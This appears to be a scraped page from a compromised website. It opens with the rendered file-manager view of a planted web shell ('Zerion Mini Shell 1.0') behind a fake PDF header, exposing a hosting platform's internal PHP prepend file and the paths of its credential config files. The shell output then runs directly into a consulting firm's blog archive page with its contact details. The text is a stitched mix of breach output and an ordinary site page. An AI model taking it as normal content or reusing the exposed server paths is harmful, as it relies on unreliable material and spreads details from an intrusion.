%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /platform/misc/
Upload File :
Create Path :
Current File : //platform/misc/prepend-cli.php

<?php

if (is_dir('/configs')) {
    define('PAGELYBIN', '/configs');
} else {
    define('PAGELYBIN', '/pagely');
}

// fix the problem with returning the free disk space for the whole ceph storage
// it breaks some of the major WP migration plugins because the value is too large
if (version_compare(phpversion(), '8.0.0', '>=')) {
    // php version is high enough
    if (!function_exists('disk_free_space')) {
        function disk_free_space($directory)
        {
            // always return 30GB
            return 32212254720;
        }
    }
    // do the same thing for the alias function
    if (!function_exists('diskfreespace')) {
        function diskfreespace($directory)
        {
            return disk_free_space($directory);
        }
    }
}

// Before we include anything from the user, include our creds
if (file_exists(PAGELYBIN . '/config.php')) {
    include PAGELYBIN . '/config.php';
} else {
    // If this looks like WP CLI, then check if `--path` is being passed
    $mwpPotentialSitePath = null;
    if (!empty($argv) && is_array($argv)) {
        if ($argv[0] == '/usr/local/bin/wp') {
            // Loop argv and look for --path
            foreach ($argv as $arg) {
                if (strpos($arg, '--path=') === 0) {
                    $mwpPotentialSitePath = str_replace('--path=', '', $arg);
                    break;
                }
            }
        }
    }
    // If we didn't find a path then use the CWD
    if ($mwpPotentialSitePath === null) {
        $mwpPotentialSitePath = getcwd();
    }
    // Resolve the path and check if it matches our regex
    $mwpPotentialSitePath = realpath($mwpPotentialSitePath);
    if ($mwpPotentialSitePath !== false && is_dir($mwpPotentialSitePath) && preg_match('@^(/sites/[^/]+)@', $mwpPotentialSitePath, $mwpSiteMatches)) {
        // If a config file exists at <sitepath>/pagely/config.php, then include it, otherwise do nothing
        $mwpSiteConfigPath = $mwpSiteMatches[1] . '/pagely/config.php';
        if (file_exists($mwpSiteConfigPath)) {
            include $mwpSiteConfigPath;
        }
    }
    unset($mwpPotentialSitePath, $mwpSiteMatches, $mwpSiteConfigPath);
}

Zerion Mini Shell 1.0
September 2018 - GMH Consulting Group LLC Skip to content

GMH CONSULTING GROUP LLC

  • Home
  • Services
  • Customer Success Stories
  • Contact Us
×
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us

GMH CONSULTING GROUP LLC

Archive for September 2018

SAP Cloud Integration Platform

By pwsadmin |
A picture of the sap logo on a computer screen.

Browse Projects Accomplished by Our Consulting Team

Read More

Recent Posts

  • Advantages of mRNA Vaccines
  • Digitalization of Vaccines Enabled by S/4 HANA
  • SAP Cloud Integration Platform

Recent Comments

No comments to show.
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhconsultinggroup.com 

 

A logo of the gmh consulting group
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhcgroup.com

A logo of the gmh consulting group

© 2026 GMH Consulting Group LLC. All Rights Reserved.

Scroll To Top